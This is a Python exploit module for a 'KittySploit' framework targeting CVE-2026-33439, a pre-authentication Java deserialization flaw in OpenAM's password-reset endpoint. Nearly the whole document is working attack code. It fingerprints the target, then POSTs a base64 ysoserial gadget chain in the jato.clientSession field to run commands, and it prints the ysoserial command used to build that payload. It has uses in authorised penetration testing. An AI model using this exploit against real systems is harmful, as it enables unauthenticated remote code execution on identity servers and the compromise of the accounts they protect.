OpenAM Pre-Auth Deserialization RCE (CVE-2026-33439)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""OpenAM jato.clientSession deserialization RCE (CVE-2026-33439)."""

import base64
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'OpenAM Pre-Auth Deserialization RCE (CVE-2026-33439)',
        'description': (
            'Exploits CVE-2026-33439 in OpenAM <= 16.0.5: unsafe Java deserialization '
            'of jato.clientSession on password reset endpoints bypasses the '
            'WhitelistObjectInputStream mitigation applied to jato.pageSession.'
        ),
        'author': ['KittySploit Team', 'Hacktron'],
        'cve': ['CVE-2026-33439'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj',
        ],
        'tags': ['openam', 'deserialization', 'rce', 'pre-auth'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2026_33439_detect'],
            },
        },
    }

    ysoserial_payload = OptString(
        '',
        'Base64 ysoserial gadget chain for jato.clientSession (required for RCE)',
        required=False,
        advanced=True,
    )
    reset_path = OptString('/openam/ui/PWResetUserValidation', 'OpenAM reset endpoint', required=False)

    def _openam_present(self) -> bool:
        r = self.http_request(method='GET', path=str(self.reset_path or '/openam/ui/PWResetUserValidation'), allow_redirects=False)
        body = (r.text or '') if r else ''
        return 'OpenAM' in body and 'tfUserAttr' in body

    def execute(self, cmd: str) -> str:
        blob = str(self.ysoserial_payload or '').strip()
        if not blob:
            return ''
        path = str(self.reset_path or '/openam/ui/PWResetUserValidation')
        data = {'jato.clientSession': blob}
        r = self.http_request(method='POST', path=path, data=data, allow_redirects=False)
        return (r.text or '') if r else ''

    def check(self):
        if not self._openam_present():
            return {'vulnerable': False, 'reason': 'OpenAM reset surface not detected', 'confidence': 'medium'}
        if self.ysoserial_payload:
            body = self.execute('')
            if re.search(r'uid=\d+|Exception|Error', body or '', re.I):
                return {'vulnerable': True, 'reason': 'Deserialization payload triggered response', 'confidence': 'high'}
        return {
            'vulnerable': True,
            'reason': 'OpenAM jato.clientSession deserialization surface exposed',
            'confidence': 'medium',
        }

    def run(self):
        if not self._openam_present():
            print_error('OpenAM not detected')
            return False
        if not str(self.ysoserial_payload or '').strip():
            print_warning('Set ysoserial_payload (base64) for command execution')
            print_status('Generate: java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0')
            return True
        if self.check_execute():
            return self.handler_execute()
        print_warning('Gadget chain did not return command output — verify ysoserial payload')
        return False

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')